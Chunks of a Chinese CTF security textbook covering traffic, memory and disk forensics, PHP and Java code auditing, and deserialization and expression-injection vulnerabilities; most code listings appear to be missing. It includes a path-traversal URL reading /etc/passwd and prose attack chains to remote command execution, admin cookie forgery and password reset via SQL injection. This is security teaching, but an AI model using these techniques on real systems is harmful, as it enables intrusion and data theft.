    {"text": "9.3.1 流量分析 9.3.1.1 Wireshark和Tshark 流量包一般是指利用tcpdump等工具，对计算机上的某个网络设备进行流量抓取所获得的PCAP格式的流量文件。 图形化工具 Wireshark 和它的命令行工具 Tshark 可以对这种流量包进行分析。 Wireshark是免费软件（官网为 https://www.wireshark.org/ ），支持多种协议的分析，也支持流量抓取功能。 Wireshark的界面见图9-3-1，载入流量包后即可看到网络流量，协议和状态以颜色区分，单击某条流量即可看到流量的详细信息。"},
    {"text": "在过滤器栏中输入过滤器表达式，即可对流量进行过滤，查看需要的网络流量。 若想过滤FTP协议的网络流量，输入FTP表达式即可查看结果（见图9-3-2）。"},
    {"text": "图9-3-1 图9-3-2 图9-3-3 9.3.1.2 流量分析常见操作 Wireshark的“ 统计 ”菜单可以查看流量包的大致情况，如包含哪些协议、哪些IP地址参与了会话等。"},
    {"text": "这两个功能可以帮助我们快速定位到需要分析的点，因为CTF中的流量分析往往会有很多干扰流量，而出题人出题所需的流量一般是在局域网中或特定的几台主机中获取的，通过查看流量信息可以大大节省寻找需要分析的流量的时间。"},
    {"text": "针对此种情况，Wireshark提供了追踪TCP流功能，只要选中某条数据报，右键单击“ 追踪TCP流 ”，即可获取该TCP会话中双方传输的所有数据，方便进一步分析，见图9-3-6。"},
    {"text": "图9-3-6 对于HTTP等常见协议，Wireshark提供了导出对象功能（“ 文件 ”菜单中），可以方便地提取传输过程发送的文件等信息。 图9-3-7是导出HTTP对象的功能。"},
    {"text": "图9-3-7 有时需要分析的流量包几乎都是SSL协议的加密流量，如果能够从题目中的其他位置获取SSL密钥日志，那么可以使用Wireshark尝试解密流量。 Wireshark可解析的SSL密钥日志文件如下所示： 当获取到这种形式的密钥日志后，我们可以打开Wireshark的首选项，在“协议”选项中选择SSL协议，再在“（Pre）-Master-Secret Log Filename”中填入密钥文件的路径（见图9-3-8），确定后即可解密部分SSL流量。"},
    {"text": "图9-3-8 由于网络协议的复杂性，能隐藏数据的地方远远不止正常的传输流程，因此在对网络流量包进行分析时，如果从正常方式传输的数据上找不到突破口，那么需要关注一些在流量包中看似异常的协议，仔细检查各字段，观察有无隐藏数据的印迹。"},
    {"text": "图9-3-9 图9-3-10 9.3.1.3 特殊种类的流量包分析 CTF中还有一些特殊种类的流量分析，题目提供的流量包中并不是网络流量，而是其他类型的流量。"},
    {"text": "关于USB数据的详细文档可以到USB的官网上获取，如 https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf 和 https://usb.org/sites/default/files/documents/hid1_11.pdf 。"},
    {"text": "对于一个USB流量包，Tshark工具可以方便地获取纯数据字段： tshark-r filename.pcapng-T fields-e usb.capdata 获取数据后，根据前面的含义，利用Python等语言，可以写出还原信息的脚本，拿到信息后进一步分析。"},
    {"text": "9.3.2 内存镜像取证 9.3.2.1 内存镜像取证介绍 CTF中的内存取证题的形式为，提供一个完整的内存镜像或一个核心转储文件，参赛者应分析内存中正在执行的进程等信息，解出自己所需的内容。"},
    {"text": "9.3.2.2 内存镜像取证常见操作 当我们拿到一个内存镜像时，首先需要确定这个镜像的基本信息，其中最重要的就是判断这个镜像是何种操作系统的。"},
    {"text": "Volatility工具提供了对镜像的基本分析功能，使用 imageinfo 命令即可获取镜像的信息，见图9-3-13。 得到镜像信息后，我们便可使用某一具体的配置文件对镜像进行操作分析。"},
    {"text": "图9-3-13 图9-3-14 图9-3-15 图9-3-16 对于不同的系统，Volatility支持很多独有的特性，如在Windows下支持从打开的记事本进程中直接获取文字，或Dump出内存中含有的关于Windows登录的密码Hash值等信息。 Volatility支持第三方插件，有很多开发者开发了功能强大的插件，如 https://github.com/superponible/volatility-plugins 。"},
    {"text": "9.3.2.3 内存镜像取证小结 对于内存取证类题目，只要我们熟悉Volatility工具的常用命令，并能够对结合其他类型的知识（如图片隐写、压缩包分析等）对提取出的文件进行分析，便可轻松解决。 9.3.3 磁盘镜像取证 9.3.3.1 磁盘镜像取证介绍 CTF中的 磁盘取证 题一般会提供一个未知格式的磁盘镜像，参赛者需要分析使用者留下的使用痕迹，找出隐藏的数据。"},
    {"text": "由于磁盘取证是基于文件的分析，因此经常与其他考察取证的方向一起出现，并且更接近真实的取证工作。 相比内存取证，磁盘取证的信息量一般更大，不过由于包含的信息更多，对使用者具体使用轨迹的定位也相对容易。 磁盘取证一般不需要专门的软件，除非是一些特殊格式的磁盘镜像，如VMWare的VMDK或Encase的EWF等。 9.3.3.2 磁盘镜像取证常见操作 与内存取证类似，磁盘取证的第一步也是确定磁盘的类型，并挂载磁盘，可以通过UNIX/Linux自带的 file 命令来完成，见图9-3-17。"},
    {"text": "然后可以使用“ mount ”命令将磁盘镜像挂载。 mount命令的格式如下： 图9-3-18 对于本地文件的挂载，一般包括“ loop ”项，如果是如上文所述的多分区镜像，那么需要加上“ offset ”项并指定其值。"},
    {"text": "图9-3-19 挂载完毕，出题人在制作镜像时一定会在文件系统中进行操作，那么即可按照普通的取证步骤，对文件系统中的使用痕迹进行分析。"},
    {"text": "还有一些磁盘镜像取证类型题目主要考查某些文件系统独特的特性，如EXT系列文件系统的inode恢复、FAT系列文件系统中的FAT表恢复，APFS文件系统的快照特性和纳秒级时间戳特性等。"},
    {"text": "9.3.3.3 磁盘镜像取证小结 磁盘取证类题目其实与内存取证题目类似，往往与压缩包分析、图片隐写等类型的题目结合。 只要参赛者熟悉常见的 镜像 ，能够判断出镜像种类并挂载或提取出文件，再配合对文件系统的一定了解，便可以顺利地解决硬盘取证相关的题目。"},
    {"text": "正如本章引言中所写，在高质量的比赛中，除了本章介绍的套路化题目类型，参赛者往往会遇到的很多新奇的题目，这些题目或是考察参赛者知识的深度和广度，或是考察参赛者的快速学习能力。"},
    {"text": "第10章 代码审计 CTF中往往会存在各种各样代码审计题目，可以说 代码审计 是CTF中与现实极为接近的一类题目。 代码审计的本质是发现代码中存在的缺陷，本章只以主流的PHP和Java代码审计为例，让读者不仅对CTF中的代码审计题目有所了解，还可以积累现实世界代码审计的一些经验。 10.1 PHP代码审计 10.1.1 环境搭建 俗话说：“工欲善其事必先利其器”，在正式审计PHP代码前，需要先将所需的工具和环境准备好，这样审计时才能事半功倍。 PHP代码审计主要分为静态分析和动态分析两种方式： ❖ 静态分析是在不运行PHP代码的情况下，对PHP源码进行查看分析，从中找出可能存在的缺陷和漏洞。 ❖ 动态分析是将PHP代码运行起来，通过观察代码运行的状态，如变量内容、函数执行结果等，达到明确代码流程，分析函数逻辑等目的，并从中挖掘出漏洞。"},
    {"text": "安装好PHP后，开始安装XDebug，用于动态分析的扩展（读者可以去XDebug的官网 https://xdebug.org/download.php 下载适合自己平台和PHP版本的版本）。 注意，如果XDebug版本与本地环境不匹配，则可能报错，如果无法确定XDebug的版本或者不知道安装方法，可以访问 https://xdebug.org/wizard.php （见图10-1-1），然后在浏览器中访问本地环境的phpinfo页面（见图10-1-2）。 把phpinfo的输出全部粘贴到图10-1-1的文本框中，单击“ Analyse my phpinfo()output ”按钮，就可以看到XDebug给出的安装指南，见图10-1-3。 然后下载图10-1-3给出的DLL文件并放到PHP目录的ext目录下，再修改php.ini文件。 打开php.ini文件，在末尾加上如下内容： 图10-1-1 图10-1-2 图10-1-3 保存该文件，并重启Apache，查看phpinfo页面，搜索“xdebug”关键词，如果出现了图10-1-4所示的内容，则说明配置成功。 XDebug环境配置后，我们需要下载PhpStorm来配合使用（具体安装方法读者可自行查阅）。 安装完毕，运行PhpStorm，选择“ Configure → Settings ”（见图10-1-5），然后选择“ Languages&Frameworks → PHP → Debug ”，设置调试端口为 9000 （见图10-1-6）。 展开左侧的Debug选项，配置DGBp Proxy。 “ IDE key ”处填写与php.ini中一致的内容，即“PHPSTORM”，“ Host ”处填写“127.0.0.1”，“ Port ”处填写“9000”，见图10-1-7。"},
    {"text": "用PhpStorm打开一个本地的PHP网站，这里以自带的phpmyadmin为例，选择“ File → Settings → Languages&Frameworks → PHP → Servers ”。 单击“+”，添加一个服务器，设置本机实际环境，见图10-1-8。"},
    {"text": "这里推荐使用Firefox浏览器的 Xdebug Helper 插件进行调试。 图10-1-11 图10-1-12 图10-1-13 图10-1-14 图10-1-15 首先，在Firefox浏览器的扩展中心搜索“Xdebug Helper”，找到后添加，见图10-1-16。 更改Xdebug Helper的选项配置，将“IDE key”的内容改为“ PHPSTORM ”，见图10-1-17。"},
    {"text": "继续访问 http://127.0.0.1/phpmyadmin ，在用户名和密码处输入内容，并将Xdebug Helper调至Debug模式，见图10-1-18。 然后回到PhpStorm，将右上角的电话图标开启，见图10-1-19。 图10-1-16 图10-1-17 图10-1-18 图10-1-19 回到Firefox浏览器，单击“ 登录 ”按钮，会自动跳到phpstorm中的断点位置，同时显示输入的用户名和密码，见图10-1-20。"},
    {"text": "10.1.2 审计流程 相信很多人在入门代码审计的时候经常会有这样的困惑：获得源码后要怎么审计，从哪里入手，怎么才能有效、快速地找到漏洞；"},
    {"text": "右键单击该包含文件，在弹出的快捷菜单中选择“Go To → Decralation”（见图10-1-22），即可自动跳到start.php，读者也可以使用图10-1-22中相应的快捷键来操作。"},
    {"text": "核心代码如下： 这里需要理解\\think\\Loader::register()函数的调用，继续跟踪查看： 该函数的主要功能是注册自动加载函数、自动注册composer和注册命名空间，方便后续使用。"},
    {"text": "其中，run()函数是该框架的核心调用，查看该函数，由于该函数实现的功能较多，这里只讲述比较重要的地方。 简化后的代码如下： run()函数的开头是调用initCommon()进行初始化配置信息，比较重要，其核心功能是调用 self::init() 。 init()函数会读取数据库配置文件，读取行为扩展文件等操作，这里不再赘述。"},
    {"text": "然后进入下一个关键功能——路由调度，即 self::routeCheck() 函数，代码如下： 不难发现，self::routeCheck函数中开头就调用了$request->path()，查看如下： 该函数在第一个if判断中又调用了$this->pathinfo()，查看如下： 该函数对应Thinkphp 5的两种路由方式，即 兼容模式 和 PATHINFO模式 。 其中，兼容模式是第一个if分支中的内容，可以 给$_GET[Config::get（'var_pathinfo'）] 赋值来进行路由访问，而 Config::get（'var_pathinfo'） 的值默认是's'，也就是常见的 index.php？"},
    {"text": "下面讲解动态路由的处理，即： 查看parseUrl()函数如下： 函数开头调用了一个 self::parseUrlPath（$url） ，定义如下： 该函数的主要功能是进行路由的分割，如将 /home/index/index 这样的路由以“/”分割成一个数组，赋值给$path，然后返回一个二维数组到parseUrl中；"},
    {"text": "接着调用parseUrlParams函数解析额外的参数，如果三次array_shift操作后，$path数组中还有剩余的参数，就会用“|”将剩余的参数拼接成一个字符串并传递给该函数。 parseUrlParams()函数的代码如下： 该函数中，由于url_param_type默认值为0，因此按照顺序解析参数是默认关闭的，于是进入else分支。"},
    {"text": "exec()函数代码如下： exec()函数有很多分支，针对不同的情况进入不同的分支，这里承接上文的流程，主要讲述module分支（即最普遍的分支）。"},
    {"text": "② 从$result中取出controller和action（控制器和操作），并做相应命名规范的正则判断，随后通过如下代码对controller进行实例化： controller()函数是通过命名空间找到对应控制器类，并通过反射返回一个实例并赋值给$instance。 ③ 得到实例类后调用is_callable()函数，判断action是否可以在controller中被访问（public可以被调用，而private、protected不能）。"},
    {"text": "参数传递同步进行，跟踪invokeMethod函数： 不难发现，invokeMethod函数开头通过反射拿到要执行的方法，然后调用bindParams()绑定参数，查看如下： bindParams函数开头默认调用Request::instance()->param()进行取值，查看该函数如下： param函数的功能是把请求参数取进来，然后跟上文提到的路由参数进行一次合并形成最终的参数数组并返回。"},
    {"text": "将最终的参数数组返回后，调用$reflect->getNumberOfParameters()，判断被调用方法是否有参数，如果有，就遍历方法参数，并执行self::getParamValue（$param，$vars，$type）。 查看该函数如下： 在默认情况下，getParamValue函数会取出被调用方法中的所有形参名并将其作为键名，然后在请求参数数组中取出对应键的值作为实参进行传递，这样就完成了对被调用方法参数值的传递。"},
    {"text": "10.1.3 案例 1．从任意文件下载到RCE 笔者在某次授权渗透测试过程中，先通过黑盒测试，在资料下载处发现了如下URL： http://xxxxxx.com/download/file?name=test.docx&path=upload/doc/test.docx 根据经验，此处可能存在任意文件下载漏洞。 测试发现通过： http://xxxxxx.com/download/file?name=test.docx&path=../../../../../etc/passwd 可以下载passwd文件，见图10-1-23。"},
    {"text": "那么这时的思路是读取index.php，再根据各种文件包含关系来不断读取其他文件，尽可能获取更多的源码，然后进行代码审计来发掘更严重的漏洞。"},
    {"text": "该网站是一个用Thinkphp搭建的网站，读取该框架的版本号，即 ./thinkphp/base.php （见图10-1-25），得到的版本号为5.0.13。 图10-1-24 图10-1-25 得到版本号后，可以发现其版本在2019年前后出现的Thinkphp 5的RCE漏洞的版本范围内，但测试后失败，通过读取对应的漏洞文件，发现有补丁代码，所以这时需要查找网站业务代码的漏洞。"},
    {"text": "在index.php中，可以发现将配置文件目录设置成了config，因此构造路径为 ./config/config.php 得到源码，从配置文件中得到一些额外信息，见图10-1-26。"},
    {"text": "图10-1-27 在一般情况下，下载与上传功能是并存的，既然有download，那么肯定会有upload，于是通过不断尝试，最终构造下载路径为 ./application/admin/controller/Upload.php ，成功获得源码。"},
    {"text": "图10-1-28 这里传入的参数是攻击者可控的，直接用正则表达式取出后缀，没有做后缀名合法性的判断，并且写入的内容也是攻击者可控的，因此这是一个任意文件写入漏洞。"},
    {"text": "但是该控制器在admin模块下，需要先确定是否有权限限制，通过审计发现该接口继承的是Controller（见图10-1-29），没有任何权限限制，所以可以直接写入。"},
    {"text": "根据上一节所说，Thinkphp 5在处理路由请求的时候，如果发现该操作有做静态路由，那么需要通过静态路由来访问该操作，否则会抛出错误，所以此时需要读取route.php来找到静态路由。 构造路径为 ./config/route.php ，读到的route.php内容如下。 其功能是遍历config/route目录下的PHP文件，真正的静态路由的定义放在这些PHP文件中。"},
    {"text": "而在Thinkphp框架中一般都会存在一些log日志文件，位于Runtime目录下，其内容往往可能包含某些路径或者相关内容。 Thinkphp默认的log文件都是以时间命名的，通过遍历日期，成功下载到100余个log，但通过脚本筛选，并没有找到关于base64上传功能的路由，只找到了几个module和controller，通过下载对应的module和controller进行审计后，依然一无所获。 因为通过脚本筛选提取的只有URL和文件路径，可能遗漏掉了其中的一些信息，于是尝试手动筛选log文件，此时其中的一个log文件中的内容引起了笔者的注意，见图10-1-31。"},
    {"text": "通常，开发人员会在tags.php中进行批量注册，这样更加方便、快捷，所以构造路径为 ./config/tags.php 成功读取到Behavior定义的相关源码，其内容见图10-1-32，可知该网站自定义了4个Behavior类，分别是ConfigBehavior、SqlBehavior、LogBehavior、NGBehavior。"},
    {"text": "❖ response_send：响应发送标签位（V5.0.10+）。 ❖ response_end：输出结束标签位（V5.0.1+）。 response_end是在响应结束后自动触发的，因此该命令执行没有任何限制，只需在请求头中设置siteid头，然后往其中插入需要执行的命令即可。"},
    {"text": "以上是该实例的所有内容，记录了从一个任意文件下载到最后远程命令执行的全过程，其中省略了一些审计其他代码的片段（这其实是最耗时的）。"},
    {"text": "在比赛过程中，右键源代码中发现hint信息： https://github.com/qqqqqqvq/easy_laravel ，可以直接下载部分代码，通过审计代码不难发现其是基于Laravel框架，其中生成管理员代码中如下： 不难发现，管理员的登录邮箱为admin＠qvq.im，密码为随机40位字符串，不能爆破。"},
    {"text": "然后查看路由文件： 发现只有note路由对应的控制器可以在非admin用户下访问，NoteController如下： 容易发现SQL语句是没有任何过滤的，显然存在sql注入漏洞，于是我们可以获取数据库中的任何内容，即使拿到了密码也没有什么用，因为题目的注册登录的整个流程都是Laravel官方推荐的： 那么，Laravel官方扩展中，除了注册登录功能，还有重置密码功能，而其重置密码的password_resets是存储在数据库中的，于是利用NoteController中的SQL注入漏洞，便可以获取password_resets，从而重置管理员密码。 具体操作流程如下：单击重置密码时，输入管理员邮箱admin＠qvq.im，那么数据库中的password_resets中会更新一个token，访问 /password/reset/token 即可重置密码。"},
    {"text": "生成方法如下： 所以现在需要删除flag路由对应的blade缓存，但是整个题目的逻辑很简单，没有其他文件操作的地方，只有UploadController控制器可以上传图片。 但是有一个方法引起了笔者的兴趣： path跟filename没有任何过滤，所以可以利用file_exists去操作phar包，明显存在反序列化漏洞，于是现在的思路很明确： phar反序列化 →文件操作删除或者移除→ laravel重新渲染blade → 读取flag 。 通过查看composer引入的组件，发现都是默认组件，于是全局搜索“unlink”，在Swift_ByteStream_TemporaryFileByteStream析构函数中存在unlink()函数可以删除任意文件，见图10-1-35。 图10-1-35 具体pop链的构造在此不过多赘述，利用代码如下： 然后上传图片，在图片check的时候触发反序列化删除缓存的模版文件，然后访问flag路由拿到flag，见图10-1-36。"},
    {"text": "熟悉点在于，现在市面上绝大多数的Web框架或多或少参考了Java Web的设计模式； 而同时在真实世界中所能碰到的环境有很多都是Java Web环境，而非PHP、.NET等其他环境。"},
    {"text": "近年各大安全论坛上有关Java安全的文章日益增多，可以参考的资料也越来越多，这些资料对于Java安全的学习是非常有帮助的。 但是在笔者刚开始接触Java安全的时候，相关文章并不多，其他种类的资料也是少得可怜，从零到入门着实花了不少的力气，这个过程中全凭着“死磕”，硬着头皮去看代码。"},
    {"text": "很多人在开始学习Java审计前总会陷入一个思维误区——要先学完Java的相关知识，之后才能开始进行Java的审计。 从某一方面来说，这样的思路是没有错的，但是长时间、单调的Java学习会消磨掉审计的热情，从而导致很多人半途而废。"},
    {"text": "如果在刚开始上手的时候就扔给你一本厚厚的Java开发书，要求从头开始看，即使你能顺利地看完了这本书，很多时候也不知道自己看的东西能干什么，当你在分析的时候才发现自己从单纯的看书中所学到的东西过于空洞，甚至不知道真实场景下的具体分析应该从哪里开始。 所以笔者推荐初学者在能读懂Java代码后就直接上手开始分析，遇到什么问题就解决什么问题，遇到什么不懂就学习什么，在通过学习尝试解决相应问题后再进行总结，这种方式的学习效率是非常高的。"},
    {"text": "肯定有很多朋友在尝试开始进行Java审计分析的时候遇到过非常多的环境问题，因为第一次接触Java开发，搞不清楚如何配置环境，常常遇到：如何利用Maven构建项目？"},
    {"text": "Java的审计非常注重知识的积累，如果你没有一步步调试分析过，就很难知道为什么能这么做，所以建议尽量多地分析大型的开源项目的漏洞，如Struts2、Jenkins等，同时学习一些利用链，如分析ysoserial中的反序列化利用链、JNDI利用流程等。"},
    {"text": "在分析的过程中多问为什么，尽自己所能地去解释清楚整个漏洞的调用链，同时尝试动手写出自己的poc。 在进行大量漏洞分析工作的同时，要让自己的思路跳出过于细节的执行流程中，从整体层面去思考框架是如何实现这个流程的，这个过程在框架中到底发生了什么，自己能否将执行流的每个步骤都能解释清楚。"},
    {"text": "3．进一步学习 相信此时有了一定知识积累的你会逐渐发现你所分析过的漏洞好像都有一种特定的模式或者说是特定的关系，并且觉得自己越学越菜，那么恭喜你，终于“初登贼船”。"},
    {"text": "在追寻那种特定关系的途中，你会开始深入了解如Java动态代理、Java类加载机制等内容，这些内容就像树的根一样，无论框架是怎样的，都会对这些内容有所使用。"},
    {"text": "使用IDEA新建一个test项目，选择“ File → New → Project ”菜单命令（见图10-2-1），在弹出的对话框中选择“sdk”，即安装好的Java路径（见图10-2-2），然后单击“Next”按钮。"},
    {"text": "图10-2-1 图10-2-2 图10-2-3 图10-2-4 图10-2-5 如果引入依赖包，则可以直接在test目录下新建libs目录，放入依赖JAR包，然后在项目设置中配置依赖目录（见图10-2-6和图10-2-7），再选择libs目录（可以新建），见图10-2-8。 图10-2-6 图10-2-7 图10-2-8 此时可以调试一些程序，将程序所有的JAR包放入libs目录，然后配置调试信息，见图10-2-9和图10-2-10。 选择一种服务器配置或者直接指定运行的JAR包，具体配置可以自行查询。 如调试weblogic漏洞，就将weblogic所有的JAR包导入libs文件，并且配置好调试信息，设置断点；"},
    {"text": "图10-2-11 图10-2-12 10.2.4 Servlet简介 Servlet是Sun公司制定的一种用来扩展Web的服务器功能的组件规范（服务器的Java应用程序），具有独立于平台和协议的特性，可以生成动态的Web页面，担当客户请求（Web浏览器或其他HTTP客户程序）与服务器响应（HTTP服务器上的数据库或应用程序）的中间层。"},
    {"text": "1．Servlet的生命周期 Java Web生命周期的基础是建立在Servlet的生命周期上的，无论是最简单的JSP项目还是使用了MVC（如Spring MVC）设计模式的Web框架，核心的内容都是Servlet生命周期。 了解Servlet的生命周期有助于我们更好地理解Java Web对一个访问请求的执行流程。"},
    {"text": "服务器在收到客户端的访问请求后，Servlet由Web容器调用。 首先，Web容器检查是否已经装载了客户端请求所指定访问的Servlet（Servlet可以根据web.xml配置访问路径），如果未装载，则进行装载并初始化Servlet，调用Servlet的init()函数。 如果已经装载，则直接新建一个Servlet对象，并且将消息请求封装进HttpServletRequest中，将服务器返回信息封装进HttpServletResponse中。 HttpServletRequest和HttpServletResponse作为参数传递给即将调用的Servlet的service()函数，此后由Servlet对消息请求做一些逻辑控制，直至Web容器被停止或重新启动。"},
    {"text": "Servlet定义了两个默认实现类： GenericServlet 和 HttpServlet 。 HttpServlet是GenericServlet的子类，专门处理HTTP请求，一般不用开发者重写service()函数，因为HttpServlet的service()函数实现了判断用户的请求类型。"},
    {"text": "2．Servlet部署 首先编写一个Servlet实例，代码如下： Servlet在进行初始化和停止服务器被摧毁时，会在服务端分别输出initial和destroy，客户端浏览器访问时会返回HellowWorld字符串的页面。"},
    {"text": "Java Web不像Apache下PHP的配置，只需把PHP文件放入Web目录就可解析，而需要配置Servlet访问路径，配置文件名是web.xml，路径在WEB-INF中。 将如上代码写入web.xml，通过 http://localhost：8080/HelloWorld 可以访问到该Servlet。"},
    {"text": "10.2.5 Serializable简介 Java实现序列化机制的工具是 Serializable ，通过有序的格式或者字节序列持久化Java对象，序列化的数据中包含对象的类型和属性值。"},
    {"text": "如果我们已经序列化了一个对象，那么这个序列化的信息可以被读取，并根据对象的类型和规定好的格式进行反序列化，最终可以获取序列化时状态的对象。"},
    {"text": "“持久化”意味着对象的“生存时间”并不取决于程序是否正在执行，它存在或“生存”于程序的每次调用之间。 序列化一个对象，将其写入磁盘，以后在程序再次调用时重新恢复那个对象，就能间接实现一种“持久”效果。"},
    {"text": "相关接口及类如下： 序列化的步骤如下： 反序列化的步骤如下： 1．Serializable接口示例 一般，一个类只需继承Serializable接口，就表示该类和其子类都能够进行JDK的序列化。 例如： 输出结果如下： 在工程目录下会生成一个serial文件，其内容就是序列化后的数据。 2．Externalizable接口 除了Serializable接口，Java还提供了另一个序列化接口 Externalizable ，该接口继承自Serializable接口，但是有两个抽象函数：writeExternal和readExternal。"},
    {"text": "注意 ，在使用Externalizable接口实现序列化时，读取对象会调用目标序列化类的无参构造函数去创建一个新的对象，再将序列化数据中的类属性值分别填充到新对象中。"},
    {"text": "3．serialVersionUID 目标序列化类中有一个隐藏的属性： Java虚拟机判断是否允许序列化数据被反序列化时，不仅取决于类路径和功能代码是否一致，更取决于两个类的serialVersionUID是否一致。 serialVersionUID在不同的编译器中可能有不同的值，开发者也能够自行在目标序列化类中提供固定值。 在提供serialVersionUID固定值的情况下，只要序列化数据中的serialVersionUID和程序中目标序列化类中的serialVersionUID一致，即可成功反序列化。 如果没有自行指定serialVersionUID的固定值，那么编译器会根据class文件内容，通过一定的算法生成它的值（根据包名、类名、继承关系、非私有的函数和属性，以及参数、返回值等诸多因素计算出的唯一的值，生成一个64位的复杂的哈希字段），那么在不同环境下，编译器得到的serialVersionUID值是不同的，就会导致反序列化失败。 同理，改变目标类中代码也可能影响到生成的serialVersionUID值，此时程序会抛出java.io.InvalidClassException，并且指出serialVersionUID不一致。 为了提高serialVersionUID的独立性和确定性，建议在目标序列化类中显示定义serialVersionUID，为它赋予明确的值。 显式定义serialVersionUID有两种用途： ① 在某些场合，希望类的不同版本对序列化兼容，因此需要确保类的不同版本具有相同的serialVersionUID； ② 在某些场合，不希望类的不同版本对序列化兼容，因此需要确保类的不同版本具有不同的serialVersionUID。"},
    {"text": "在我们对反序列化漏洞利用链进行构造时，也需要关注serialVersionUID的变化，有可能对Gadget造成一定影响，如 CVE-2018-14667 （RichFaces Framework框架任意代码执行漏洞）中会有相关问题。 该问题的解决方法很简单：在构造Gadget候重写serialVersionUID有变化的类，指定为攻击环境中的serialVersionUID值即可。"},
    {"text": "10.2.6 反序列化漏洞 10.2.6.1 漏洞概述 1．漏洞背景 2015年11月6日，FoxGlove Security安全团队的＠breenmachine发布了一篇长博客，阐述了利用Java反序列化和Apache Commons Collections基础类库实现远程命令执行的真实案例，各大Java Web服务器纷纷“躺枪”，这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。"},
    {"text": "2．漏洞解析 漏洞的起因是如果Java程序对不可信数据做了反序列化处理，那么攻击者可以将构造的恶意序列化数据输入程序，让反序列化过程产生非预期的执行流程，以此来达到恶意攻击的效果。"},
    {"text": "序列化就是把对象的状态信息转换为字节序列（即可以存储或传输的形式）的过程。 反序列化即序列化操作的逆过程，将序列化得到的字节流还原成对象。"},
    {"text": "反序列化漏洞的利用流程是首先构造恶意的序列化数据，然后让程序去执行恶意序列化数据的反序列化过程，利用程序正常的解析流程去控制程序执行方向，最终达到调用敏感函数的目的。 不仅Java出现过反序列化相关的漏洞，其他语言也有相似的问题，如PHP反序列化漏洞等，尽管可能不同语言对这种漏洞的称呼不同，但是漏洞背后的原理是一样的：序列化可以看做“打包”数据的过程，反序列化可以看做“解包”的过程，为了实现某些应用场景，应用程序会操作由用户提供的“打包”后的数据，经过一番“解包”，最终呈现给用户结果，这里的用户不仅仅是指人，使用该应用程序的操作方都可以理解为用户。 如果“解包”过程涉及动态函数调用等等灵活操作，就可以改变原有执行流程，达到恶意攻击的效果。"},
    {"text": "序列化和反序列化过程是为了方便数据传输而产生的设计，只要给反序列化过程传输恶意数据就能达到攻击效果，这个过程可以这么理解：A、B的计算机上没有病毒，A想给B用U盘复制一个文件，如果U盘落到某个不怀好意的人手里，附加了病毒，交给B使用，那么最终B的计算机就能中毒。 很多过程也可以看做序列化和反序列化的过程，如使用Photoshop画图，完成后需要保存成文件，这就是序列化过程，下次再打开这个文件，就是反序列化过程，文件即是需要传输或者存储的数据，操作这些数据的相关代码就是“打包”“解包”操作。"},
    {"text": "（1）ClientInfo类，用于身份验证 （2）ClientInfoFilter类属于拦截器，用于解析并转换客户端传输的cookie 其中，doFilter()函数如下： 上述代码大致意思是轮询Cookie，并找出key值为cinfo的Cookie，否则就初始化： 编码后返回名为cinfo的Cookie，否则通过解码操作还原ClientInfo对象。"},
    {"text": "（3）Tools对象，用于序列化和反序列化 现在有一处上传点，但是根据ClientInfo检查了用户身份，代码如下： 如果用户此时具有webmanager权限，便能通过权限校验进而能够进行文件上传操作，因此需要构造ClientInfo的属性。 伪造Clientinfo的流程很简单，新建一个工程，将Tools和Clientinfo的代码分别复制到Tools.java和Clientinfo.java两个文件中，然后在Main.java的main函数中写入并运行，就能得到具有webmanager权限的cookie： 携带伪造出的Cookie再去访问Upload.form页面，就能上传文件获取服务器权限了。"},
    {"text": "2．Serializable漏洞利用形式样例：CVE-2018-14667 这个漏洞的编号是颁发给RichFaces框架的， JBOSS RichFaces 和 Apache myfaces 是两个比较出名的JSF实现项目。"},
    {"text": "这个漏洞产生的原因是接受了来自客户端的不可信序列化数据，并且将其反序列化，虽然官方使用了设定反序列化白名单的方式过滤恶意数据，但是由于功能设计的原因，最终还是被绕过并且RCE。"},
    {"text": "有的安全人员对其历史漏洞做过分析，认为加上白名单以后无法通过第一种利用形式构造利用链，所以认为不再有利用链，但是在2018年又有了 白名单的利用链 。"},
    {"text": "EL表达式是可以执行任意代码的，通过这个思路，如果反序列化的类是Expression的子类并且在后续程序执行流程中调用了表达式执行的函数，就能RCE了。"},
    {"text": "图10-2-13 反序列化的检查在 org.ajax4jsf.resource.LookAheadObjectInputStream＃resolveClass 中，代码如下： 上述代码先调用desc.getName获取需要反序列化的类名，再通过isClassValid函数进行白名单检查，代码如下： whitelistClassNameCache是一些基础类，如String、Boolean、Byte等，如果不是基础类型，又不是白名单中的类或其子类，那么返回false，所以在resolveClass时直接抛出异常，停止反序列化。"},
    {"text": "CVE-2018-14667漏洞最终在org.ajax4jsf.resource.UserResource中找到了javax.el.Expression子类的函数调用，分别在UserResource＃send和UserResource＃getLastModified函数中。"},
    {"text": "如上代码调用了MethodExpression＃invoke，其中data是用户可控的反序列化的结果，代表的是EL表达式语句，在invoke函数调用的时候传入可控的EL表达式语句，进而造成RCE。"},
    {"text": "10.2.7 表达式注入 10.2.7.1 表达式注入概述 对于Java Web来说，能够造成命令执行的两种常见的漏洞类型为 反序列化漏洞 和 表达式注入漏洞（Expression Language Injection） ，本质还是远程命令执行漏洞或远程代码执行漏洞。"},
    {"text": "造成表达式注入漏洞主要原因是由于应用对于外部输入过滤不严或不恰当的应用而导致攻击者可以控制数据进入EL（表达式语言）解释器中，这样最终会造成表达式注入。 EL本身的功能是支持开发人员在上下文环境中获取对象、调用Java方法，所以一旦存在表达式注入漏洞，攻击者就可以利用表达式语言本身的特性执行任意代码，造成命令执行。 对于Java Web框架来说，通常是一种框架对应一种表达式，也就是说，一旦框架中出现了表达式注入漏洞，那么会对所有基于该框架的Web应用程序实现“通杀”。"},
    {"text": "除了框架与其“绑定”的表达式（如Struts2与OGNL的关系），还有很多其他情况下的表达式注入，如Groovy的代码注入、SSTI（服务端模版注入）等，造成漏洞的原因都是由于攻击者可以控制数据进入表达式解析器。 10.2.7.2 表达式注入漏洞特征 Java中存在各种各样的表达式语言，它们在各自的领域发挥着不同的功能，下面列举两个与框架关系较为紧密的表达式语言，同样，这两个表达式语言出现表达式注入时所造成的危害也是最大的。"},
    {"text": "比如，OGNL执行系统命令的代码的例子如下： 运行这个示例代码时会弹出计算器（因为使用的是MacOS，所以执行的系统命令与Windows平台有所区别）。"},
    {"text": "10.2.7.3 表达式结构概述 “知其然知其所以然”对于搞安全的人来说是非常重要的一个素质，下面以OGNL为例简单解释表达式解析结构的组成，这对后续理解表达式注入漏洞有很大的帮助。"},
